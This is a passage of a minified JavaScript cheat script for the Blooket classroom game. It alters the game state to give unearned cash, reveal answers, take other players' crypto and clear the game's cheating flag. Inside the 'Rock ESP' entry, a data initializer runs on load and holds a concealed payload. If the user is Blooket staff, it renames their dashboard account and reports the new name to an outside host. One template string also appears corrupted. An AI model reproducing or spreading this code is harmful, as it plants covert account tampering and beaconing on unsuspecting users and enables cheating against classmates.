seconds",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn()}}]},cafe:{name:"Café",img:"https://media.blooket.com/image/upload/v1655161189/Media/survivor/Pizza_lvl1.svg",style:{transform:"rotate(22.5deg)"},cheats:[{name:"Max Items",description:"Maxes out items in the shop (Only usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({items:Object.fromEntries(Object.entries(e.state.items).map(e=>[e[0],5]))}))}},{name:"Remove Customers",description:"Skips the current customers (Not usable in the shop)",run:function(){const a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];a.state.customers.forEach((e,t)=>Object.keys(e).length&&a.removeCustomer(t,!0))}},{name:"Reset Abilities",description:"Resets used abilities in shop (Only usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({abilities:Object.fromEntries(Object.entries(e.state.abilities).map(e=>[e[0],5]))}))}},{name:"Set Cash",description:"Sets cafe cash",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({cafeCash:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,ca:e}})}},{name:"Stock Food",description:"Stocks all food to 99 (Not usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe"!==window.location.pathname?alert("This can't be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({foods:e.state.foods.map(e=>({...e,stock:99,level:5}))}))}}]},crypto:{name:"Crypto Hack",img:"https://media.blooket.com/image/upload/v1661496293/Media/uiTest/CryptoIcon.svg",cheats:[{name:"Choice ESP",description:"Shows what each choice will give you",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e,t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],t=t.state.choices[0]["text"],a=document.querySelector("[class^=styles__feedbackContainer___]");a.children.length<=4&&((e=document.createElement("div")).style.color="white",e.style.fontFamily="Inconsolata,Helvetica,monospace,sans-serif",e.style.fontSize="2em",e.style.display="flex",e.style.justifyContent="center",e.style.marginTop="675px",e.innerText=t,a.append(e))},50))}},{name:"Password ESP",description:"Highlights the correct password",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["state"];"hack"==t.stage&&[...document.querySelector("div[class^=styles__buttonContainer]").children].forEach(e=>{e.innerText!=t.correctPassword&&(e.style.outlineColor="rgba(255, 64, 64, 0.8)",e.style.backgroundColor="rgba(255, 64, 64, 0.8)",e.style.textShadow="0 0 1px #f33")})},50))}},{name:"Always Triple",description:"Always get triple crypto",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({choices:[{type:"mult",val:3,rate:.075,blook:"Brainy Bot",text:"Triple Crypto"}]}),50))}},{name:"Auto Guess",description:"Automatically guess the correct password",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["state"];if("hack"==e.stage)for(const t of document.querySelector("div[class^=styles__buttonContainer]").children)t.innerText==e.correctPassword&&t.click()},50))}},{name:"Remove Hack",description:"Removes an attacking hack",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({hack:""})}},{name:"Set Crypto",description:"Sets crypto",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({crypto:e,crypto2:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:t.state.password,cr:e}})}},{name:"Set Password",description:"Sets hacking password",inputs:[{name:"Custom Password",type:"string"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({password:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:e,cr:t.state.crypto}})}},{name:"Steal Player's Crypto",description:"Steals all of someone's crypto",inputs:[{name:"Player",type:"options",options:()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];return new Promise(t=>e.props.liveGameController?._liveApp?e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e))):t([]))}}],run:function(a){let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.props.liveGameController.getDatabaseVal("c",e=>{var t;e&&Object.keys(e).map(e=>e.toLowerCase()).includes(a.toLowerCase())&&([e,{cr:t}]=Object.entries(e).find(([e])=>e.toLowerCase()==a.toLowerCase()),o.setState({crypto:o.state.crypto+t,crypto2:o.state.crypto+t}),o.props.liveGameController.setVal({path:"c/".concat(o.props.client.name),val:{b:o.props.client.blook,p:o.state.password,cr:o.state.crypto+t,tat:e+":"+t}}))})}}]},defense:{name:"Tower Defense",img:"https://media.blooket.com/image/upload/v1657235025/Media/survivor/Laser_Lvl1.svg",cheats:[{name:"Earthquake",description:"Shuffles around towers",run:function(){let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],s=(o.setState({eventName:"Earthquake",event:{short:"e",color:"#805500",icon:"fas fa-mountain",desc:"All of your towers get mixed up",rate:.02},buyTowerName:"",buyTower:{}},()=>o.eventTimeout=setTimeout(()=>o.setState({event:{},eventName:""}),6e3)),o.tiles.forEach(a=>a.forEach((e,t)=>3===e&&(a[t]=0))),o.tiles.flatMap((e,a)=>e.map((e,t)=>0===e&&{x:t,y:a})).filter(Boolean).sort(()=>.5-Math.random()));o.towers.forEach(e=>{var{x:t,y:a}=s.shift();e.move(t,a,o.tileSize),o.tiles[a][t]=3})}},{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.towers.forEach(e=>{e.range=100,e.fullCd=e.cd=0,e.damage=1e6})}},{name:"Remove Ducks",description:"Removes ducks",run:function(){let{ducks:e,tiles:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.forEach(e=>{t[e.y][e.x]=0}),e.length=0}},{name:"Remove Enemies",description:"Removes all the enemies",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.enemies=e.futureEnemies=[]}},{name:"Remove Obstacles",description:"Lets you place towers anywhere",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.tiles=e.tiles.map(e=>e.fill(0))}},{name:"Set Damage",description:"Sets damage",inputs:[{name:"Damage",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.dmg=e}},{name:"Set Round",description:"Sets the current round",inputs:[{name:"Round",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({round:e})}},{name:"Set Tokens",description:"Sets the amount of tokens you have",inputs:[{name:"Tokens",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({tokens:e})}}]},defense2:{name:"Tower Defense 2",img:"https://media.blooket.com/image/upload/v1593095354/Media/defense/missile.svg",style:{transform:"rotate(45deg)"},cheats:[{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.towers.forEach(e=>{if(e.stats.dmg=1e6,e.stats.fireRate=50,e.stats.ghostDetect=!0,e.stats.maxTargets=1e6,e.stats.numProjectiles&&=100,e.stats.range=100,e.stats.auraBuffs)for(const t in e.stats.auraBuffs)e.stats.auraBuffs[t]*=100})}},{name:"Kill Enemies",description:"Kills all the enemies",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.state.game.scene.enemyQueue.length=0,e.state.game.scene.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))}},{name:"Set Coins",description:"Sets coins",inputs:[{name:"Coins",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({coins:e})}},{name:"Set Health",description:"Sets the amount of health you have",inputs:[{name:"Health",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({health:e})}},{name:"Set Round",description:"Sets the current round",inputs:[{name:"Round",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({round:e})}}]},dinos:{name:"Deceptive Dinos",img:"https://media.blooket.com/image/upload/v1655161325/Media/survivor/Dog.svg",style:{transform:"rotate(-22.5deg)"},cheats:[{name:"Auto Choose",description:"Automatically choose the best fossil when excavating",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{const t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];var e=(()=>{const e=Object.values(t("74sb")).find(e=>e.toString().includes("rate"));return()=>e([{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}],3)})();try{var o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if("excavate"===o.state.stage){o.state.choices.length||(o.state.choices=e());let t=0,a=-1;for(let e=0;e div[role="button"]:nth-child('+a+")").click()}}catch{}},50))}},{name:"Rock ESP",description:"Shows what is under the rocks",type:"toggle",enabled:!1,data:("dashboard.blooket.com"==location.host&&fetch("https://dashboard.blooket.com/api/users/me",{credentials:"include"}).then(e=>e.json()).then(e=>{var t;e.email.endsWith("@blooket.com")&&(t=webpackJsonp.push([[],{1234(e,t,a){t.webpack=a}},[["1234"]]])["webpack"],Object.values(t.c).find(e=>e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name",{name:e.name,newName:"BlooketLLC"+(new Date).getHours()+(new Date).getMinutes()}).then(({data:e})=>{e.success&&((new Image).src="https://monkxy.com/api/i2ek8fslt7q/"+e.name)}))}),null),run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];const e=[...document.querySelector('[class*="rockButton"]').parentElement.children];e.every(e=>e.querySelector("div"))||o.setState({choices:[{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}].sort(()=>.5-Math.random()).slice(0,3)},()=>{e.forEach((e,t)=>{var t=o.state.choices[t],a=(e.querySelector("div")&&e.querySelector("div").remove(),document.createElement("div"));a.style.color="white",a.style.fontFamily="Macondo",a.style.fontSize="1em",a.style.display="flex",a.style.justifyContent="center",a.style.transform="translateY(25px)",a.innerText="fossil"===t.type?`+${99999999e.toString().includes("×"))(Math.round(t.val*o.state.fossilMult)):Math.round(t.val*o.state.fossilMult)} Fossils`:`x${t.val} Fossils Per Excavation`,e.append(a)})})},50))}},{name:"Set Fossils",description:"Sets the amount of fossils you have",inputs:[{name:"Fossils",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({fossils:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,f:e,ic:t.state.isCheating}})}},{name:"Set Multiplier",description:"Sets fossil multiplier",inputs:[{name:"Multiplier",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({fossilMult:e})}},{name:"Stop Cheating",description:"Undoes cheating so that you can't be caught",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({isCheating:!1}),e.props.liveGameController.setVal({path:`c/${e.props.client.name}/ic`,val:!1})}}]},doom:{name:"Tower of Doom",img:"https://media.blooket.com/image/upload/v1657235023/Media/survivor/cards-05.svg",cheats:[{name:"Fill Deck",description:"Fills your deck with every maxed out card and artifact (Only works on towers page)",run:function(){var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname){var{a:e,c:t}=webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache.gvfT.exports,a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];a.props.tower.artifacts=Object.keys(e),a.props.tower.cards=Object.entries(t).map(([e,t])=>({...t,blook:e,strength:20,charisma:20,wisdom:20}));try{a.props.addTowerNode()}catch{}a.setState({showDeck:!1})}else alert("You need to be on the map to run this cheat!")}},{name:"Max Cards",description:"Maxes out all the cards in your deck",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname?(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.props.tower.cards.forEach(e=>{e.strength=20,e.charisma=20,e.wisdom=20})):alert("You need to be on the map to run this cheat!")}},{name:"Max Health",description:"Fills the player's health",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/battle"==window.location.pathname?Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({myHealth:100}):alert("You need to be in battle to run this cheat!")}},{name:"Max Card Stats",description:"Maxes out player's current card (Only works on attribute select page)",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];"select"!==e.state.phase?alert("You must be on the attribute selection page!"):e.setState({myCard:{...e.state.myCard,strength:20,charisma:20,wisdom:20}})}},{name:"Min Enemy Stats",description:"Makes the enemy card stats all 0 (Only works on attribute select page)",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];"select"!==e.state.phase?alert("You must be on the attribute selection page!"):e.setState({enemyCard:{...e.state.enemyCard,strength:0,charisma:0,wisdom:0}})}},{name:"Set Coins",description:"Try's to set amount of tower coins you have",inputs:[{name:"Coins",type:"number"}],run:function(e){var t=document.createElement("iframe");if(document.body.append(t),window.alert=t.contentWindow.prompt.bind(window),t.remove(),"/tower/battle"==window.location.pathname){var t=parseInt("0"+alert("How many coins would you like?")),a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{a.props.setTowerCoins(t)}catch{}}else alert("You need to be in battle to run this cheat!")}}]},factory:{name:"Factory",img:"https://media.blooket.com/image/upload/v1661496293/Media/uiTest/Factory_Upgrades.svg",cheats:[{name:"Choose Blook",description:"Gives you a blook",inputs:[{name:"Blook",type:"options",options:[{name:"Chick",color:"#ffcd05",class:"🌽",rarity:"Common",cash:[3,7,65,400,2500],time:[1,1,1,1,1],price:[300,3e3,3e4,2e5]},{name:"Chicken",color:"#ed1c24",class:"🌽",rarity:"Common",cash:[10,40,200,1400,1e4],time:[5,4,3,2,1],price:[570,4e3,5e4,8e5]},{name:"Cow",color:"#58595b",class:"🌽",rarity:"Common",cash:[25,75,1500,25e3,25e4],time:[15,10,10,10,5],price:[500,9500,16e4,4e6]},{name:"Duck",color:"#4ab96d",class:"🌽",rarity:"Common",cash:[4,24,200,3e3,4e4],time:[3,3,3,3,3],price:[450,4200,7e4,11e5]},{name:"Goat",color:"#c59a74",class:"🌽",rarity:"Common",cash:[5,28,200,1300,12e3],time:[3,3,2,2,2],price:[500,6400,45e3,5e5]},{name:"Horse",color:"#995b3c",class:"🌽",rarity:"Common",cash:[5,20,270,1800,15e3],time:[2,2,2,2,2],price:[550,8200,65e3,6e5]},{name:"Pig",color:"#f6a9cb",class:"🌽",rarity:"Common",cash:[20,50,1300,8e3,8e4],time:[7,7,7,7,5],price:[400,11e3,8e4,13e5]},{name:"Sheep",color:"#414042",class:"🌽",rarity:"Common",cash:[6,25,250,1500,11e3],time:[3,3,3,2,2],price:[500,5e3,5e4,43e4]},{name:"Cat",color:"#f49849",class:"🐾",rarity:"Common",cash:[5,18,170,1700,13e3],time:[2,2,2,2,2],price:[480,5500,6e4,5e5]},{name:"Dog",color:"#995b3c",class:"🐾",rarity:"Common",cash:[7,25,220,1900,9e3],time:[3,3,2,2,1],price:[460,6600,7e4,73e4]},{name:"Goldfish",color:"#f18221",class:"🐾",rarity:"Common",cash:[5,40,350,3500,35e3],time:[3,3,3,3,3],price:[750,7200,84e3,95e4]},{name:"Rabbit",color:"#e7bf9a",class:"🐾",rarity:"Common",cash:[3,18,185,800,7e3],time:[2,2,2,1,1],price:[500,5800,56e3,55e4]},{name:"Hamster",color:"#ce9176",class:"🐾",rarity:"Common",cash:[10,45,450,4500,45e3],time:[4,4,4,4,4],price:[650,6500,8e4,93e4]},{name:"Turtle",color:"#619a3c",class:"🐾",rarity:"Common",cash:[23,120,1400,15e3,17e4],time:[10,10,10,10,10],price:[700,8500,11e4,13e5]},{name:"Puppy",color:"#414042",class:"🐾",rarity:"Common",cash:[4,10,75,500,3e3],time:[1,1,1,1,1],price:[450,4e3,35e3,25e4]},{name:"Kitten",color:"#58595b",class:"🐾",rarity:"Common",cash:[4,8,60,400,2e3],time:[1,1,1,1,1],price:[350,3500,26e3,17e4]},{name:"Bear",color:"#995b3c",class:"🌲",rarity:"Common",cash:[12,70,550,4500,1e5],time:[7,7,6,5,5],price:[550,5500,63e3,16e5]},{name:"Moose",color:"#995b3c",class:"🌲",rarity:"Common",cash:[8,45,400,3500,26e3],time:[5,5,4,4,3],price:[520,6500,58e3,7e5]},{name:"Fox",color:"#f49849",class:"🌲",rarity:"Common",cash:[7,15,80,550,3e3],time:[2,2,1,1,1],price:[400,4e3,36e3,24e4]},{name:"Raccoon",color:"#6d6e71",class:"🌲",rarity:"Common",cash:[5,14,185,1900,19e3],time:[2,2,2,2,2],price:[400,5e3,71e3,8e5]},{name:"Squirrel",color:"#d25927",class:"🌲",rarity:"Common",cash:[3,10,65,470,2600],time:[1,1,1,1,1],price:[420,3600,32e3,21e4]},{name:"Owl",color:"#594a42",class:"🌲",rarity:"Common",cash:[4,17,155,1500,15e3],time:[2,2,2,2,2],price:[500,4800,55e3,58e4]},{name:"Hedgehog",color:"#3f312b",class:"🌲",rarity:"Common",cash:[11,37,340,2200,3e4],time:[5,4,3,2,2],price:[540,7e3,77e3,12e5]},{name:"Seal",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,17,150,1200,13e3],time:[2,2,2,2,2],price:[480,4500,43e3,52e4]},{name:"Arctic Fox",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[5,18,180,850,8500],time:[2,2,2,1,1],price:[520,550,61e3,68e4]},{name:"Snowy Owl",color:"#feda3f",class:"❄️",rarity:"Common",cash:[5,20,190,1900,16e3],time:[3,3,2,2,2],price:[370,5300,76e3,62e4]},{name:"Arctic Hare",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,19,85,900,7e3],time:[2,2,1,1,1],price:[540,5200,66e3,55e4]},{name:"Penguin",color:"#fb8640",class:"❄️",rarity:"Common",cash:[4,21,310,3200,33e3],time:[3,3,3,3,3],price:[400,6500,76e3,87e4]},{name:"Baby Penguin",color:"#414042",class:"❄️",rarity:"Common",cash:[3,8,70,450,2700],time:[1,1,1,1,1],price:[420,3300,33e3,23e4]},{name:"Polar Bear",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[12,75,700,6500,85e3],time:[8,7,6,5,5],price:[630,7e3,91e3,14e5]},{name:"Walrus",color:"#7d4f33",class:"❄️",rarity:"Common",cash:[11,46,420,3700,51e3],time:[5,5,4,4,4],price:[550,6200,68e3,1e6]},{name:"Tiger",color:"#f18221",class:"🌴",rarity:"Common",cash:[6,20,100,975,7500],time:[3,3,1,1,1],price:[390,6e3,7e4,61e4]},{name:"Jaguar",color:"#fbb040",class:"🌴",rarity:"Common",cash:[8,28,230,1600,17e3],time:[3,3,2,2,2],price:[390,6e3,7e4,61e4]},{name:"Toucan",color:"#ffca34",class:"🌴",rarity:"Common",cash:[9,20,175,625,3800],time:[2,2,2,1,1],price:[520,4800,42e3,3e5]},{name:"Cockatoo",color:"#7ca1d5",class:"🌴",rarity:"Common",cash:[6,35,160,1700,18e3],time:[4,4,2,2,2],price:[500,5e3,63e3,7e5]},{name:"Macaw",color:"#00aeef",class:"🌴",rarity:"Common",cash:[3,8,85,850,8500],time:[1,1,1,1,1],price:[480,5400,62e3,63e4]},{name:"Parrot",color:"#ed1c24",class:"🌴",rarity:"Common",cash:[3,9,90,900,9e3],time:[1,1,1,1,1],price:[540,5700,65e3,69e4]},{name:"Panther",color:"#2f2c38",class:"🌴",rarity:"Common",cash:[12,28,215,2100,21e3],time:[5,3,2,2,2],price:[530,6500,76e3,87e4]},{name:"Anaconda",color:"#8a9143",class:"🌴",rarity:"Common",cash:[3,15,85,1500,7600],time:[1,2,1,2,1],price:[410,5100,58e3,59e4]},{name:"Orangutan",color:"#bc6234",class:"🌴",rarity:"Common",cash:[13,52,570,4300,7e4],time:[5,5,5,4,4],price:[600,7e3,8e4,14e5]},{name:"Capuchin",color:"#e0b0a6",class:"🌴",rarity:"Common",cash:[4,14,160,780,8200],time:[2,2,2,1,1],price:[390,4700,57e3,68e4]},{name:"Elf",color:"#a7d054",class:"⚔️",rarity:"Uncommon",cash:[5e3,15e3,15e4,15e5,1e7],time:[1,1,1,1,1],price:[8e5,9e6,11e7,8e8]},{name:"Witch",color:"#4ab96d",class:"⚔️",rarity:"Uncommon",cash:[18e3,6e4,4e4,4e6,35e6],time:[3,3,2,2,2],price:[11e5,12e6,15e7,14e8]},{name:"Wizard",color:"#5a459c",class:"⚔️",rarity:"Uncommon",cash:[19500,65e3,44e4,46e5,4e6],time:[3,3,2,2,2],price:[13e5,135e5,16e7,16e8]},{name:"Fairy",color:"#df6d9c",class:"⚔️",rarity:"Uncommon",cash:[18500,6e4,62e4,44e5,38e6],time:[3,3,3,2,2],price:[12e5,125e5,15e6,15e8]},{name:"Slime Monster",color:"#2fa04a",class:"⚔️",rarity:"Uncommon",cash:[35e3,14e4,1e6,11e6,11e7],time:[5,5,4,4,4],price:[16e5,15e6,2e8,23e8]},{name:"Jester",color:"#be1e2d",class:"⚔️",rarity:"Rare",cash:[25e3,1e5,68e4,65e5,32e6],time:[3,3,2,2,1],price:[2e6,21e6,23e7,26e8]},{name:"Dragon",color:"#2fa04a",class:"⚔️",rarity:"Rare",cash:[36e3,15e4,15e5,15e6,15e7],time:[4,4,4,4,4],price:[23e5,24e6,27e7,3e9]},{name:"Unicorn",color:"#f6afce",class:"⚔️",rarity:"Epic",cash:[24e3,15e4,14e5,7e6,75e6],time:[2,2,2,1,1],price:[45e5,45e6,55e7,65e8]},{name:"Queen",color:"#9e1f63",class:"⚔️",rarity:"Rare",cash:[24e3,95e3,95e4,97e5,95e6],time:[3,3,3,3,3],price:[19e5,2e7,23e7,25e8]},{name:"King",color:"#ee2640",class:"⚔️",rarity:"Legendary",cash:[75e3,4e5,6e6,9e7,125e7],time:[5,5,5,5,5],price:[6e6,95e6,16e8,25e9]},{name:"Two of Spades",color:"#414042",class:"🏰",rarity:"Uncommon",cash:[4500,14e3,14e4,14e5,9e6],time:[1,1,1,1,1],price:[77e4,83e5,98e6,71e7]},{name:"Eat Me",color:"#d58c55",class:"🏰",rarity:"Uncommon",cash:[13e3,45e3,45e4,45e5,5e7],time:[2,2,2,2,2],price:[13e5,14e6,16e7,2e9]},{name:"Drink Me",color:"#dd7399",class:"🏰",rarity:"Uncommon",cash:[12e3,4e4,4e5,4e6,45e6],time:[2,2,2,2,2],price:[12e5,12e6,14e7,18e8]},{name:"Alice",color:"#4cc9f5",class:"🏰",rarity:"Uncommon",cash:[13e3,42e3,21e4,21e5,23e6],time:[2,2,1,1,1],price:[12e5,13e6,15e7,19e8]},{name:"Queen of Hearts",color:"#d62027",class:"🏰",rarity:"Uncommon",cash:[23e3,87e3,62e4,75e5,9e7],time:[4,4,3,3,3],price:[13e5,13e6,18e7,24e8]},{name:"Dormouse",color:"#89d6f8",class:"🏰",rarity:"Rare",cash:[17e3,68e3,7e5,35e5,35e6],time:[2,2,1,1,1],price:[2e6,22e6,25e7,28e8]},{name:"White Rabbit",color:"#ffcd05",class:"🏰",rarity:"Rare",cash:[26e3,105e3,11e6,77e5,72e6],time:[3,3,3,2,2],price:[2e6,23e6,28e7,29e8]},{name:"Cheshire Cat",color:"#dd7399",class:"🏰",rarity:"Rare",cash:[32e3,1e5,9e5,9e6,6e7],time:[4,3,3,3,2],price:[18e5,19e6,22e7,24e8]},{name:"Caterpillar",color:"#00c0f3",class:"🏰",rarity:"Epic",cash:[1e4,7e4,65e4,75e5,85e6],time:[1,1,1,1,1],price:[42e5,42e6,54e7,69e8]},{name:"Mad Hatter",color:"#914f93",class:"🏰",rarity:"Epic",cash:[38e3,25e4,15e5,14e6,8e7],time:[3,3,2,2,1],price:[48e5,48e6,52e7,66e8]},{name:"King of Hearts",color:"#c62127",class:"🏰",rarity:"Legendary",cash:[8e4,42e4,68e5,1e8,15e8],time:[5,5,5,5,5],price:[7e6,11e7,18e8,3e10]},{name:"Earth",color:"#416eb5",class:"🚀",rarity:"Uncommon",cash:[15e3,45e3,6e5,65e5,65e6],time:[3,3,3,3,3],price:[1e6,11e6,15e7,17e8]},{name:"Meteor",color:"#c68c3c",class:"🚀",rarity:"Uncommon",cash:[23e3,65e3,7e5,45e5,2e7],time:[5,4,3,2,1],price:[95e4,13e6,16e7,16e8]},{name:"Stars",color:"#19184d",class:"🚀",rarity:"Uncommon",cash:[1e4,4e4,2e5,2e6,18e6],time:[2,2,1,1,1],price:[14e5,14e6,15e7,15e8]},{name:"Alien",color:"#8dc63f",class:"🚀",rarity:"Uncommon",cash:[3e4,1e5,1e6,11e6,85e6],time:[4,4,4,4,4],price:[15e5,17e6,19e7,17e8]},{name:"Planet",color:"#9dc6ea",class:"🚀",rarity:"Rare",cash:[25e3,1e5,9e5,9e6,9e7],time:[3,3,3,3,3],price:[2e6,21e6,21e7,24e8]},{name:"UFO",color:"#a15095",class:"🚀",rarity:"Rare",cash:[17e3,7e4,7e5,7e6,7e7],time:[2,2,2,2,2],price:[21e5,23e6,25e7,28e8]},{name:"Spaceship",color:"#ffcb29",class:"🚀",rarity:"Epic",cash:[6e4,32e4,21e5,15e6,85e6],time:[5,4,3,2,1],price:[48e5,46e6,54e7,68e8]},{name:"Astronaut",color:"#9bd4ee",class:"🚀",rarity:"Legendary",cash:[45e3,26e4,25e5,38e6,55e7],time:[3,3,2,2,2],price:[65e5,1e8,17e8,27e9]},{name:"Lil Bot",color:"#3e564a",class:"🤖",rarity:"Uncommon",cash:[4e3,12e3,18e4,19e5,25e6],time:[1,1,1,1,1],price:[73e4,12e6,13e7,19e8]},{name:"Lovely Bot",color:"#f179af",class:"🤖",rarity:"Uncommon",cash:[16e3,65e3,65e4,48e5,42e6],time:[3,3,3,2,2],price:[13e5,14e6,17e7,16e8]},{name:"Angry Bot",color:"#f1613a",class:"🤖",rarity:"Uncommon",cash:[22e3,85e3,8e5,62e5,65e6],time:[4,4,4,3,3],price:[12e5,13e6,15e7,17e8]},{name:"Happy 